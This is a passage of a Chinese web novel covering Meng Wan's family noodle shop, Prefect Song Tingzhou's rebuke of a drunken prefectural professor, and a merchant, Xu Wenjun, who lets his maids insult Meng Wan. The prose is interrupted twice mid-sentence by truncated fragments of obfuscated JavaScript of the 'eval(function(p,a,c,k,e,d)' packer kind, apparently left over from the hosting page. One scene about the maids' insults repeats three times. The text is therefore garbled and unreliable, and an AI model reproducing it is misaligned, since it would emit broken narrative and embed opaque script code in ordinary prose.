常金花指给他们看在铺子里忙里忙外的一个小孩,“就那个矮的,叫来喜。” 孟晚顺着她指的方向看去,确实如常金花所说,是个身高矮小的小孩,也就一米四多点,灵活的在人群里来回上菜、收拾桌子。 “他多大啊娘?看起来有点小。”孟晚问道。 常金花帮阿砚把米粉拌好,放在他面前,“都十四了,就比咱家小辞小两岁。他祖母是个实在的,见我真收了来喜,又是磕头又是作揖的,既不肯跟他一起到后巷去住,还不让来喜在店里面吃饭,说是肯用他就是大恩了。我看来喜饿得精瘦也不肯在铺子里吃饭,就跟着他回家去劝他祖母,没成想他祖母就住在旁边巷子的枯井里,你们不知道,那枯井上面用干草盖上一半,来喜祖母就窝在下面……” 枯井能有多大的地儿,那么个老人起码有五六十岁了,想也知道过得有多不容易。 常金花是个很容易心软的人,她过过苦日子,才更可怜穷苦人。 “我把她带到后巷去了,给她和来喜分了间屋子住下。她过意不去,就见天的做点力所能及的活计,死活不肯要工钱。不要钱我也不能白用人家,就打算每月给她买十五斤糙米,她收到米又哭了一场,第二天就给我做了一大碗的米粉。我也是头次吃,没想到入口又弹又滑,竟比面条还劲道好吃!”常金花说到后面两眼放光,经过孟晚的调教她一下子就想到这个米粉也可以做成铺子里的吃食去卖。 第46章 单教授 后巷是铺子后面的一条巷子,长长的一条两面都能通向主街道。孟晚把这一条长巷都买了下来,足足有十一座小院,其中大半都用来做驿站员工的宿舍,剩下来两座小院,给常金花铺子的员工用。 本来来喜的祖母平白被常金花分了间屋子还很忐忑,这会儿凭借一碗家乡的米粉竟然意外得到常金花的赏识,正正经经的留下来做厨娘。还分了两个小工给她,让她每天只负责做米粉。 “芹婶,常婶让你煮一个大份的米粉,多放肉,酸豆角和酸笋不要。” 常金花做为老板,却不习惯店里的小工叫她东家,让所有人都喊她婶子。 满头白发的矮瘦女人站在灶台前忙活,闻言头也不回的应了声,“知道了,还和刚才那碗差不多大是吧。” “不是,常婶说要要比那个再多一倍。”小工用手画了一个大大的圆。 芹婶手里的勺子都要拿不住了,她又找小工确定了一下,“再多一倍?” 宋亭舟的大盆米粉上桌后其他人的碗都得靠边站,阿砚十分羡慕,他也想吃这个、那个、那个和这个,可惜他的小肚子吃不下。 常金花又给他们炸了两大盘鸡块,阿砚幸福的吃两口米线,咬一口鸡腿。他在路上喝藕粉吃罐头已经吃得腻烦了,还是祖母做的饭菜香! 吃饱喝足,常金花交代了铺子里的小工们几句,便解下围裙先和孟晚他们回家。 常金花开的铺子是有点子实力的,所有人都吃撑了,大家干脆步行消食,走着回去。 阿砚才溜达了几步就开始喊累,宋亭舟把他抱在怀里。阿砚刚开始还兴致勃勃的和常金花说话,讲孟晚带他去山寨里多好玩,后来眼皮越来越沉,很快就趴在宋亭舟肩上睡着了。 常金花心疼的不得了,“晚哥儿啊,阿砚还是太小了,下次你出远门就让他在家吧。” 孟晚心想,习惯就好,下次还得带他出去,阿砚这才出去一趟就成长了不少,还知道打仗要囤积粮食了呢! 不过他面上还是附和常金花到,“好,下次我不带他出去了。”让宋亭舟带。 “娘,来铺子吃饭的人越来越多,我看都有些坐不下了,要不要给你换个大铺面?”孟晚提议道。 常金花可能是这两年做买卖,总与外人打交道,秉承孟晚教她的伸手不打笑脸人,她面容不如从前严肃,人也 爱笑了,“现在天热,大家还更爱在外头吃,等入了秋我再琢磨新铺面,到时候不用你操心,娘攒的钱够买铺子的!” 孟晚对她竖了个大拇指,“我娘就是厉害,现在连铺子都会置办了,那成,那我可就不管啦?” “等着新铺子开业去给娘捧场。” “好嘞!” 回家之后孟晚舒舒服服的洗漱一番,他和宋亭舟许久没有亲密,难免在床榻上亲热一番。怎料阿砚出门在外和孟晚在一起睡得习惯了,迷迷糊糊醒过来尿尿,又来敲他们的房门。 “阿爹……阿哥!哥哥哥哥!” 他嗓门越喊越大,屋内宋亭舟额角有青筋在跳动,他引而不发,只哑着声音问孟晚,“哥?” 孟晚尴尬的拿起帕子帮他擦了擦脸上的汗珠,安抚道:“我去我去,很快就回来。” 他还没下床,门外就传来黄叶的哄劝声:“小公子咱们屋子不是在这边吗?咱们这边去睡觉吧?梦里准有大鸡腿。” 阿砚迷迷糊糊的说:“这边?鸡腿~” 孟晚倚在床边,听着动静远了,便没有再继续下床。 “阿砚回去睡了?他如今已快过三岁生辰,不该和我们一个院子了。”宋亭舟语气隐忍,复又动作急促的将孟晚重新拉进帷幔里。 —— 孟晚回到府城后,西梧各地的商站也逐渐运行完善,他便开始考虑第二个问题。 各个商站之中不可由管事一家独大,这样假如他这个东家被什么事情绊住了手脚,久不巡视,管事便可轻易欺上瞒下。 他需要将每个商站处理杂物的管事和押运货物的镖师分成两线,整个驿站的运输交由管事和镖师分工合作,两者之间虽然是合作关系,但是各干各的,互不干涉对方的差事,却又能相互监督。 商站需要一批强壮直率的壮汉守仓走镖,还有谁是比常年在大山中狩猎、被风霜磨砺出一身筋骨与直爽性子的瑶族人更合适的呢? 想起那天那拓走之前和自己的谈话,孟晚相信等风仝寨那边的路都修建好后,他会来府城找自己的。 但在这之前还有一件更重要的事,壵、瑶、鹋三族语言不通,这件事要尽快解决,不然会影响西梧府许多政策的顺利运作。 西梧府府衙内—— “大人,瑶族的上一任瑶长古 爻对自己的罪行供认不讳,但他一直嚷嚷着要见孟夫郎。”张推官入堂向坐在桌案后书写文书的宋亭舟禀告。 宋亭舟头也不抬,“不必理会,明日抽出时间堂审他的罪行。” “对了,顺便把府学里的教授给我叫过来。”他随口吩咐道。 府学建在府城东侧,近十年来,西梧府一个进士也没考出来过,虽然有本地教育业不景气的原因,但教授也难辞其咎。 外面下着雨,被张推官喊来的时候,单教授满身酒气,头发分不清是被雨淋湿,还是本身就不干净,油腻腻的打着缕。三十好几的男人双目迷离,大着舌头给宋亭舟见了礼。 宋亭舟闻着他带进屋内的浊气,声音比昌平腊月的寒冬还冷,“单教授,谁让你衣冠不整来见上官的?” 文人都有傲气,单教授自顾自的直起身子,眼里闪过一丝不屑,然后吊儿郎当的扬起下巴说:“宋大人见谅,是下官的错。” 坐在宋亭舟下首的通判和单教授是老乡,自他进来后就一直提醒对方整饬衣裳,可单教授愣是没看他一眼。 府衙的人与宋亭舟共事一年有余,早就知道宋亭舟脾气秉性,知晓对方在政务上何其不留情面,连上司都能送走。这次出去一趟据说黑叶县知县已经致仕了,德庆县知县也被训斥了一通,估计再不想办法,被调走也是早晚的事。 四县三寨里,一举端了两县知县,征服壵寨,重整瑶寨,又把整个鹋寨用以强硬的姿态给硬生生搬到城郊。 铁血手段,不容置疑。 这会儿通判见宋亭舟似有不悦,忙站出来替单教授说了句话,“大人,单教授并非有意无礼,他生性洒脱,当年科举不顺,又被迫到西梧……他也是有一身才气的。”他说到一半觉得说错了话,哪有知府喜欢听所任之地的坏话的?又反应迅速的换了说辞。 他是好意,可同乡单教授偏偏不领情,单教授潇洒的挥了挥袖袍,“蒋兄不必替我说话,吾乃状元之才,生不逢时,才让我被人陷害到这般境地,时也!命也!” 宋亭舟放下手中纸笔,就这样看着他发了一会儿癫,堂内气氛冷凝,许多人发现端倪大气都不敢出上一声。 单教授独角戏唱也唱不下去,也可能是酒醒了,渐渐平静下来。 “单教授既然不满西梧府教授这个职位,可向朝廷上书乞休,府学乃西梧府重中之重,该交予 以任为己任,责无旁贷者。宋亭舟语调平淡,半句话没有怪罪,可却字字都在说单教授德不配位,该自请滚蛋给有德之士让位。 在场的下官都倒吸了口凉气,微微垂头左顾右看,与其余人相视无言。 宋大人讲话果真是一针见血,半点情面都不给老单留。 他们私心认为,府学没有政绩也不是一天两天了,主要是老百姓没钱,目不识丁,有的镇子连一家正经私塾都没有,更遑论考功名了。府学里那几个愚钝的秀才,让老单管是真的有些大材小用了。 “大人短短几年内升任至四品知府,一路官途顺畅,自是不能理解我等底层小官的难处。大人以为我不想乞休吗?我在其位,家里老小尚能吃上一顿饱饭,我若退下又有谁能护住他们!单教授字字泣血,声声透着憋屈。他性情清高,不管是早年在书院,还是当下被外放,经历了不少磋磨。 然而,宋亭舟不管单教授有没有才华,又经历那些挫折磨难,他要的是做实事的官。清冷的话语自他口中吐出,带着几分不近人情,“你寒窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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宋亭舟站在堂内巡视一圈,双眸扫过所有堂内的官员们,沉声说道:“铁打的衙门,流水的官。我不可能在西梧府一辈子,若是不能将整个府衙肃清,把西梧府旗下大大小小的城镇、县城一一改头换面,我枉读圣贤书,更愧对身上这身官服!” 所有人听到他这番话都是心头一热,纷纷走下自己位置,对着宋亭舟深鞠一躬,“谨遵大人教诲,愿效犬马之劳!” 外面雷声滚滚,声声都砸在单教授的心上,犹如擂鼓,震得他耳朵都似失了聪,嗡嗡作响,许久之后他才跪伏在地上,颤声说:“谨遵大人教诲,愿效犬马之劳!” 感动是真的感动,第二天真被宋亭舟当骡子一样使唤的时候也是真的麻木。 载着一众府学教员的马车踏上前往黑叶县的道路,车厢里的乔兴源熟练的靠在马车上,眼睛一闭,嘴巴里就开始振振有词起来。 单教授今日收拾的整整齐齐,连胡须都学着宋亭舟的样子给剃了个一干二净。他好奇的询问起乔兴源,“乔经历,你这是在做什么?” 乔兴源睁开眼睛颇为同情的看了他一眼,“我在背风仝寨的地志和小传。” 单教授被看的莫名其妙,“地志?小传?背这些有什么用?” 乔兴源叹了口气,“我顺路和你一起去黑叶县,虽然办的不是同一件事,但有些话,你提前知道也好。” 单教授正襟危坐,“什么话?乔经历但说无妨。” 乔兴源满脸沧桑,“大人要我去风仝寨检籍,重新为所有瑶族人登记造册。还要在当地勘察一月,观察当地族人有没有什么生活困难,邻里矛盾,要一一打探清楚,回去呈禀给他。” 听上去很复杂,单教授不自觉的咽了口口水,“乔经历辛苦了。” “不辛苦,习惯了。”乔经历笑了笑,拍了拍单教授的肩膀,“接下来你才是辛苦,记得去县学探访巡查的时候,一定要多多记录,回程的时候挑重点背诵下来,大人会一一抽查。” 单教授懵了,“一一抽查?”他这次受命,要巡查四县所有县学不说,大人还要他连乡镇的私塾也挨个去走访一遍,一一抽查是什么意思?难道他要把所有寻访内容都了熟于胸? 不光他,连他带来的四个训导都打了个寒颤。 宋大人——果然恐怖如斯。 第47章 诋毁 “余管事,这批货是胡老板从赫山县送过来的,要送到珍罐坊的果子。” “果子不易存放,你先去对着单子验货,没问题就立即叫人送去珍罐坊。” “好嘞,我这就去!” “余管事,我这还有郝老板的二十车货,都是从珍罐坊拿的,要卖到临安府去。” “临安府?咱们西梧的路才修出去多少,驿站中途相隔的也远,要送去临安府的话,需要找那拓他们亲自押送,运费也要多加一成。” “郝老板说同意加一成运费,但下一段路的署名要加上他们郝家。” “不愧是生意人,这点小便宜也要占,答应他,加加加。” 余彦东在驿站里忙的脚不沾地,冷不丁看到那拓在外面树荫下,正拿着个本子笨拙的练官话。 “你这么闲能不能过来帮帮我?”余彦东酸溜溜的说。 那拓把本子一收,用拗口的禹国话说:“东家说我们各管各的,而且一会儿我要往钦州跑一趟货,是大人亲自交代的。后面在装货,很快我就要带人走了。” 余彦东眉头一皱,临安府这趟他本来还想让那拓送,既然那拓没空,也只有等后天雷保回来了。 “那你去吧,路上小心。”余彦东对着他挥了挥手。 那拓临走前好心提醒他一句,“刚才我去珍罐坊,又看到徽州府来的那小子了。” 余彦东瞬间面目狰狞,“什么!那个混蛋又去找霜哥儿了!”他袖子一撸,扔给底下管事一句,“你先看着,我出城一会儿就回来。” 驿站挨着城门口,出了城再往外走就是珍罐坊,余彦东踏马飞奔,回到熟悉的工坊也没人拦他,反而笑呵呵的打招呼。 “小余又来了啊!” “唐管事在分拣区那边和人说话。” 余彦东气势冲冲的往珍罐坊里走,果真见到一个面白无须,长相秀气的男子正和唐妗霜聊些什么。 那男的还还笑的一脸奸诈——起码在余彦东看起来要多奸有多奸! “霜哥儿。”余彦东硬生生的挤出一个笑脸凑过去,“没在忙啊?不忙怎么不去看我?”后面这句有些小心翼翼。 唐妗霜避嫌似的从他身边退了一步,“我去看你做什么!” 说完有些尴尬,还歉意的对对面的男 人笑笑。 余彦东见唐妗霜对他和那男子不同的态度,心里的酸的冒泡,“徐文君,你生意还没做完吗?为什么还不回徽州府去。” 徐文君表面上看着文文静静,但是一张嘴就是三连暴击,“余管事这话问的好奇怪,我是过来与珍罐坊做生意,碍到余管事什么事了呢?余管事三天两头的过来插两句,不知道的还以为你是妗霜的夫婿呢?可巧我刚问了妗霜,他说和你只是普通朋友,是吧妗霜?” “妗霜,妗霜,妗霜是你能叫的!!!”余彦东火冒三丈,恨不得立马就给这个阴阳人一个过肩摔。 唐妗霜拦住他,“好了!驿站现在那么忙,你还有心思过来胡闹,还不赶紧回去。” 余彦东被他骂了一通,气势汹汹的来,蔫蔫巴巴的离开,连骑马都没有来时有力气扬鞭了。 “呵,余管事当真年轻,性子活泼。”徐文君笑道。 唐妗霜客气疏远的说:“让徐公子见笑了,只是他年纪小,涉世未深不**逗,下次还请徐公子口下留情。” 徐文君挑眉,这是护着了? “在珍罐坊已经麻烦了唐管事数日,我也已经见识了贵工坊的底蕴,便代表徽州府徐家与坊里签下三年的果珍罐订单,但只要荔枝的。” 唐妗霜陪这位徽州府来的公子,一连在珍罐坊参观几日,终于拿下这笔大单,心中自然喜不自胜,“徐公子放心,我们珍罐坊定不失所望。” 从珍罐坊出来,徐文君的车夫小厮候在工坊外面,车里两个丫鬟见主家出来忙过来迎他,“公子,快上车歇歇。您也是的,随便派个管事过来不就行了,岭南天气这么热,这一路咱们糟了多少罪啊!” “就是,这什么珍罐坊连个东家都不露面,就派了个管事作陪,还是个没嫁人的哥儿,也不知道打什么歪主意,真是上不了台面,依奴才看还不如让他们换人来!” 两个丫鬟都是伶牙俐齿的,你一言我一语的劝他。 徐文君做为主人,反倒插不上下人的话,他坐上马车,外头的烈日也融不化他眼底的寒意,但与之相反的是他嘴边温和的笑,“听闻珍罐坊的东家也是个哥儿,可能是惺惺相惜吧。” 两个丫鬟对视一眼,脸上更是不屑,不光说些闲言碎语辱骂唐妗霜,连带着也说了几句珍罐坊东家的闲话。 唐妗霜拿了两瓶包装后的果珍罐,悄无 声息的站在马车一侧。赶车的车夫既不甩鞭赶马,又不提醒车内的主人,像是没看见唐妗霜一样在原地停留一会儿,直到车里的丫鬟住了嘴,疑惑他为何不赶车后,才慢悠悠的驱马。 曾经泥泞的经历不是假的,唐妗霜被人恶意揣测也不是不会生气,但他更觉得这件事透着莫名的怪异感。 “东家明鉴,这个徐公子是个聪明人,且刚和工坊签了三年的文契,我实在不懂他刻意让家中奴仆这般羞辱我的目的。”唐妗霜拿着新签好的文契来到宋家,在孟晚书房百思不得其解。 孟晚的桌案很大,他今日没出门,此刻正在伏案画画。说是画画也不对,那画中还透着字,像是更古老的甲骨文。画的上方标注着唐妗霜从未见过的符号,下面则是正常的文字。 唐妗霜看的入迷,直到孟晚画完一页,轻轻撂下手中质地上佳的**管笔,“你不知徐家生平,当然不懂徐文君的意思。” 孟晚甩了甩酸痛的手,从书架最下层的抽屉里,翻找片刻,取出两封信来递给唐妗霜,“好巧不巧,三叔前阵子接了个单子跑去徽州一趟,打算顺便在那里开家石见驿站。他调查了当地几家颇有地位的商贾乡绅,其中就有徐家,后来徐文君听说了三叔的出处,要来西梧府和珍罐坊做买卖,三叔就又详细打听了一下他的事,你自己看看这两封信就明白了。” 唐妗霜接过信件,心中忐忑,最坏的结果就是徐文君是个骗子,根本不是徽州徐家人,打开信件一看,却发现事情比他想象中更复杂几分。 第一封信只是简单的概述,不太详细,但已经能看出许多问题了。祝三爷刚到徽州的时候,是这样评论徐文君的事的。 “徐公有一子名唤文君,行七。幼时天资聪慧,常得夫子嘉许,后因手折,无缘科举,遂颓废数年。至十六岁,分得一濒临倒闭之铺面,仅两年转亏为营,颇有手段。” 后来徐文君主动找上门来,祝三爷就调查的更详细了。原来徐文君确实是徽州徐家人不假,却是当家家主的庶子,亲娘只是个丫鬟出身的姨娘,身后并无助力。 徐老爷嫡妻早亡,留下一子,续弦又生了二子一哥儿,家里几个姨娘生的就更多了,徐文君的兄弟姐妹加在一起足有十五六个,他夹在其中不上不下,处境尴尬。 若只是这样就算了,等徐老爷百年之后分些家产出去,也够他一生衣食无忧。但偏偏徐文君是个聪慧的,竟然在一众兄弟姐妹 中杀出重围,在私塾中连连受到夫子夸赞天资聪颖,徐老爷也渐渐重视起他,毕竟没有哪个商贾是不希望自己后代能脱离商籍,改换仕途的。 哪怕是文风盛行的徽州府,秀才一抓一大把,可他们徐家也只有寥寥三个秀才,再往上的举人更是一个都没有。 当初祝泽宁考上同进士,祝三爷差点散尽家财给儿子打点,便能看出商人对科举的执着。 可惜好景不长,徐文君八岁的时候,因在私塾中与人争执,被砸断了右手手腕,就这样断绝了科举之路。 后面写了些他各种手段,是怎么韬光养晦,为人有多精明等。 唐妗霜不傻,仔细一琢磨就明白过来,“他是故意纵容仆人这样做的,那两个丫鬟是他嫡母派来监视他的人?” 孟晚重新将两封信放好,笑道:“差不多吧,他家还有几个兄弟也不是省心的,姨娘蹦跶的也欢,谁知道是哪个呢?” 孟晚要处理的事太多了,本来没工夫陪这位徐公子玩过家家,他人在宋家待着,被丫鬟骂几句也不重要,但为了珍罐坊的脸面,他也要敲打敲打这位徐公子几句。 他看了眼外面西落的残阳,心想快到接宋亭舟的时辰了,换了件外衫,孟晚边往外走边叮嘱,“明天我要去驿站一趟,你把徐文君叫去,就说对于合作的事,我还有事要找他商讨一番。” “是,东家,我这就找人去送帖。”唐妗霜自觉羞愧,这么点小事还要麻烦东家亲自出手。 孟晚打着伞到府衙门口时,唐妗柔也在外面,孟晚笑着叫她,“柔娘今天也来了啊,和不和我进去等?” 唐妗柔知道哥哥在孟晚手下做管事,曾经的误会也已经解开,只是别扭了这么多年,还是不太习惯好好和唐妗霜说话,见到孟晚的时候手脚都不知道往哪儿放。 “不了孟夫郎,我就在这里等等就好。”唐妗柔局促的说。 孟晚踏上进入府衙的台阶,想到什么又退了下来,“柔娘,你哥这些年的经历你也都知道了,不会嫌弃他吧,他只有你这么一个亲人了。” 唐妗柔连连摆手,“怎么会呢!我没有嫌弃他……我哥的意思。” 孟晚叹了口气,“那就好,他去年过年的时候孤苦伶仃的,很想你,连着几天都神思不属。” 唐妗柔想也不想便脱口而出,“今年过年我会叫他去我家。” 孟晚弯起眼睛,笑意温和,“那就太好了,生命短暂,我们都该好好珍惜身边的人。” 唐妗柔心中触动不已,“您说的是。” 宋亭舟从衙门里出来,第一眼就看到了孟晚,冷峻的脸刹那柔化,“晚儿,回家了。” 孟晚被他牵着往回走,“好,今天又是娘下厨,炖了鱼炒了虾,我们回去正好吃现成的。” 唐妗柔怔怔的望着两人的背影,直到张推官出来叫她,两人同样相偕离开,远远能听见唐妗柔略显犹豫的声音,“夫君,今年过年,我能不能叫我哥去家里过年。” “当然可以。” “那……那我们到时候多买些糕点?我哥爱吃甜的。” “好,我们年前一起去采买。” —— 今年的夏天,西梧府大量当地商贩都动作起来,最早自六月起,便开始有成熟的荔枝,被商人们从山区运往当地县城的驿站,再一批批的从各县驿站运到府城郊外的珍罐坊中加工。 果珍罐荔枝版真的做出来后,所有人都大喜过望,谁都能预想出这些荔枝罐头所带来的巨大利润。 但在孟晚对琉璃坊唯一的把控下,荔枝版的果珍罐并没有卖出他们想象中的天价来。 孟晚是想靠荔枝罐头边挣钱边修路的,两者互利互惠,路修得好了,他的商站才能建到全国各地去。但考虑到种种因素,他并不想把事情变的太不可掌控,果珍罐他要定位成中高端产品,而不是被炒成天价。 以后随着道路修缮完毕,果珍罐产出也越来越多,价格还会在往下打一打,但那起码是十年、二十年、乃至更久以后的事情。 当下,西梧府几乎所有参与与珍罐坊合作的商人,全都被眼前巨大的利益砸到头晕。 孟晚一大早穿着淡青色的轻薄罗衣,拿上几个厚厚的本子坐上马车,直奔靠近城门的石见驿站。 驿站开始忙碌起来,他付出的大量成本开始回流,大头自然是留给驿站继续向外扩张。剩下他要开始配合宋亭舟县学和府学的改造,紧跟着修建学院,那是他下半年要做的重点事宜。 “东家!” “东家好。” “东家来了。” 雪生在后面帮孟晚捧着书,孟晚则大步流星的往前走,会客厅外余彦东正看贼似的看着徐文君, 见孟晚来了才收回目光追了过去。 “东家。” 孟晚脚步没有丝毫停顿,吩咐道:“把手头暂且不忙的管事们都叫过来开会。” “是!”余彦东恭敬的说。 徐文君早在孟晚进驿站的时候就有所猜测,见余彦东态度恭顺的样子眼底闪过一丝讶异。 虽说早就打听到了珍罐坊和驿站的东家是知府大人夫郎,可与绝大多数刚来西梧府的商人一样,他也只认为那是个噱头而已,是用宋知府的名头敛财,甚至连铺子都可能是强买强卖而来的。 但从这些人的态度来看,好像又不是。 心中百转千回,徐文君主动迎了上去,“孟东家。” 孟晚扭头看了他一眼,还算客气的回了句,“还请徐公子在会客厅稍等,我这里还有事要忙。” 说完不等徐文君回答,立刻吩咐赶过来的几个管事,“这个月你们每人手里签的文书也都拿上。” 见徐文君连话都插不上,他身边的丫鬟们气得要死,又看孟晚一个哥儿,混在一群男管事中间,派头比他们家老爷还大,不免酸上几句,“什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“都不知道是怎么赚来的钱呢,脏得人泛……” 雪生站在徐家两个丫鬟面前,眼神冰冷的看着她们。 “做……做什么?难道我们说说话还不成?”两人面上透着心虚,说话也不利索,但她们谈论的声音不大,又觉得应该不会被人听了去才是,于是嗓门越嚷嚷越大。 “怎么了?”孟晚回身询问雪生。 雪生冷声回禀,“夫郎,这两个丫鬟刚才在诋毁您的名声,言语不堪入耳。” 孟晚语气轻描淡写的说:“那便把人送去衙门吧,就说她二人诋毁于我,让大人看着判。” 见孟晚来了才收回目光追了过去。 “东家。” 孟晚脚步没有丝毫停顿,吩咐道:“把手头暂且不忙的管事们都叫过来开会。” “是!”余彦东恭敬的说。 徐文君早在孟晚进驿站的时候就有所猜测,见余彦东态度恭顺的样子眼底闪过一丝讶异。 虽说早就打听到了珍罐坊和驿站的东家是知府大人夫郎,可与绝大多数刚来西梧府的商人一样,他也只认为那是个噱头而已,是用宋知府的名头敛财,甚至连铺子都可能是强买强卖而来的。 但从这些人的态度来看,好像又不是。 心中百转千回,徐文君主动迎了上去,“孟东家。” 孟晚扭头看了他一眼,还算客气的回了句,“还请徐公子在会客厅稍等,我这里还有事要忙。” 说完不等徐文君回答,立刻吩咐赶过来的几个管事,“这个月你们每人手里签的文书也都拿上。” 见徐文君连话都插不上,他身边的丫鬟们气得要死,又看孟晚一个哥儿,混在一群男管事中间,派头比他们家老爷还大,不免酸上几句,“什么没眼力见的人,就是这般待客的吗?” “难怪昨天那个什么唐管事就一副狐媚样子,原来是有样学样。” “都不知道是怎么赚来的钱呢,脏得人泛……” 雪生站在徐家两个丫鬟面前,眼神冰冷的看着她们。 “做……做什么?难道我们说说话还不成?”两人面上透着心虚,说话也不利索,但她们谈论的声音不大,又觉得应该不会被人听了去才是,于是嗓门越嚷嚷越大。 “怎么了?”孟晚回身询问雪生。 雪生冷声回禀,“夫郎,这两个丫鬟刚才在诋毁您的名声,言语不堪入耳。” 孟晚语气轻描淡写的说:“那便把人送去衙门吧,就说她二人诋毁于我,让大人看着判。” 见孟晚来了才收回目光追了过去。 “东家。” 孟晚脚步没有丝毫停顿,吩咐道:“把手头暂且不忙的管事们都叫过来开会。” “是!”余彦东恭敬的说。 徐文君早在孟晚进驿站的时候就有所猜测,见余彦东态度恭顺的样子眼底闪过一丝讶异。 虽说早就打听到了珍罐坊和驿站的东家是知府大人夫郎,可与绝大多数刚来西梧府的商人一样,他也只认为那是个噱头而已,是用宋知府的名头敛财,甚至连铺子都可能是强买强卖而来的。 但从这些人的态度来看,好像又不是。 心中百转千回,徐文君主动迎了上去,“孟东家。” 孟晚扭头看了他一眼,还算客气的回了句,“还请徐公子在会客厅稍等,我这里还有事要忙。” 说完不等徐文君回答,立刻吩咐赶过来的几个管事,“这个月你们每人手里签的文书也都拿上。” 见徐文君连话都插不上,他身边的丫鬟们气得要死,又看孟晚一个哥儿,混在一群男管事中间,派头比他们家老爷还大,不免酸上几句,“什么没眼力见的人,就是这般待客的吗?” “难怪昨天那个什么唐管事就一副狐媚样子,原来是有样学样。” “都不知道是怎么赚来的钱呢,脏得人泛……” 雪生站在徐家两个丫鬟面前,眼神冰冷的看着她们。 “做……做什么?难道我们说说话还不成?”两人面上透着心虚,说话也不利索,但她们谈论的声音不大,又觉得应该不会被人听了去才是,于是嗓门越嚷嚷越大。 “怎么了?”孟晚回身询问雪生。 雪生冷声回禀,“夫郎,这两个丫鬟刚才在诋毁您的名声,言语不堪入耳。” 孟晚语气轻描淡写的说:“那便把人送去衙门吧,就说她二人诋毁于我,让大人看着判。” 第48章 心事 “什么衙门?什么诋毁?我们没有!” “我们只是闲聊,你们驿站是什么地方,旁人闲聊两句还不行吗?” “简直欺人太甚!” 徐家两个丫鬟刚开始还狡辩两句,见孟晚根本不屑搭理她们,而是头也不回的进去议事,雪生又态度强硬,便开始撒起泼来。 “放开我们!” “你凭什么抓我们,我们就算说了又怎么样,从未听过骂人几句就要吃官司的。” “公子,你救救我们啊!” 徐文君在一旁冷眼旁观她们被雪生带走,嘴角泛起一抹嘲讽的笑。那群女人生怕他会有所成就,将这两个蠢货放在他身边,难道就没想过会引火烧身? 晌午驿站开完会议,各个大小管事鱼贯而出,孟晚清悦的声音才从里面响起,“徐公子,久等了,请进来吧。” 余彦东站到门口,不情不愿的过来迎人,“徐公子,请吧。” 徐文君客气的笑了笑,换来余彦东一个白眼。等人进去后,余彦东想了想又重新跟了进去。 孟晚也没理他,任他好好一个富家公子和做贼似的偷摸往里看。 徐文君习惯算计旁人,这是他能从徐家那么一大家子人里顺利活下来的秘诀。但短时间第二次见到这位知府夫郎时,他突然发现自己拙劣的算计在对方看来有些像小孩子过家家一样。 孟晚托着腮撑在旁边的边几上,“故意把仆从纵惯成这样,徐公子,你这样利用我收拾你的两个丫鬟,是不是有点过火了?” 他语气轻松,既没有氏族大家那股清高、内敛、一板一眼的礼仪教养。又不像寻常官夫郎那样端着高高的架子,眼里全是对商户的轻蔑。 这位知府夫郎是从容且自信的,徐文君坐在他下首的位置,隔了两个座位,怀着有些忐忑的心又发现了另一件事——这是个难得的美人。 徐文君的突然平静下来,所以他大概也没猜错,这可能是个貌美的,比一般困于后宅的官夫人们多一点本事的哥儿。 他换上一副隐忍的表情,“还请孟东家见谅,这两个丫鬟是我母亲所赐……” “徐公子。”孟晚打断他的话,“就别在我面前演戏了,我没空和你玩这些小孩子的把戏。你应该打听过珍罐坊东家是西梧知府夫郎,知道我的身份,你签的那张文书是不可反悔 的,我只想知道你付不付得起尾款。” 徐文君被他这句话打的措手不及,连脸上的表情都显得有些浮夸起来。短时间内一次又一次的被孟晚打击,他已经没有谋划计策钱的淡然之色,只能艰难的说道:“我们徐家是徽州最有名望的富商,区区万瓶罐头,当然是能吃得下的。” 余彦东在门口冷笑一声,装什么,谁家还不是当地首富了? 孟晚端起茶碗,里面已经放凉的茶水。这是他从家里带来的六堡茶,汤色红浓,滋味甘醇爽滑,清凉甘甜,有种特殊的烟味,是孟晚近几年最喜欢喝的茶。 “珍罐坊不管是对哪里来的朋友,开得都是一个价格,我们本地商人取货,果珍罐荔枝的也是十两银子一瓶。今年徐公子订的一万瓶果珍罐就要十万两白银,徐家自然是出得起这个钱,但……” 孟晚轻抿了一口茶水才在徐文君故作淡定的目光中继续说道:“子嗣成年后徐家除了没有的月钱和一间铺面后,好像并不会大力扶持。还有你所经营的商铺虽然生意不错,但受限于铺面规模不大,每年盈利应该不超过万两吧?” 徐文君垂在身侧的手不受控制的抖动了两下。实际上,孟晚说的还多了。 他的铺子虽然在一众兄弟中生意还算红火,可也只是一间小小的铺面。和孟晚这样每日流水达到上百万两白银的大型工坊比,简直是小巫见大巫。 每年的盈利甚至不到一千两,他这么多年也只存下五千两白银,这五千两便是前些日子交给唐妗霜的定钱。 没等到徐文君的回答,孟晚看他的样子也能断定,“我猜你的钱应该都投到了定金里,想用我这批果珍罐回本再大赚一笔?我可以先将这批货都给你,让你收回款项再付尾款。” 孟晚自己心眼多,他偏不喜欢和多思多想算计不停的人打交道,但徐文君也算是助他打开徽州一带的突破口,他不介意给他些助力和好处。但…… “我的人情没那么好用,拿我官夫郎的身份敲打你嫡母,这种事要是让我夫君知道,保管你走不出西梧府,懂吗?” “懂……了,是在下逾越,多谢夫郎海涵。”徐文君额头沁出几滴冷汗出来,心中百感交集。 虽然他的目的都达到了,两个丫鬟被扣押在西梧府,徐家除非头昏,否则根本不可能为了两个丫鬟来得罪知府大人。手中本钱不多的事虽然被知府夫郎看破,但孟夫郎愿意让他先拿货 ,之后再付尾款。 明明一切都算顺利,可隐藏在平静下的惊心动魄,使他心力交瘁。他在他爹面前都没有被这般看透过,孟夫郎貌美不假,手段却与容貌一样是顶端。 徐文君起身恭恭敬敬的对孟晚躬身,百感交集之下还是没忍住问了句,“您就不怕我拿了货再不回西梧来吗?” 孟晚轻笑一声,“不回西梧府我就没办法了吗?”当他徽州的驿站是摆设? 他将茶盏里的茶水一饮而尽,托着自己的账本从椅子上站起,“徐公子,我珍罐坊的管事真心与你做买卖,却受了你算计平白被人辱骂,还望你临走前和他道个歉。” 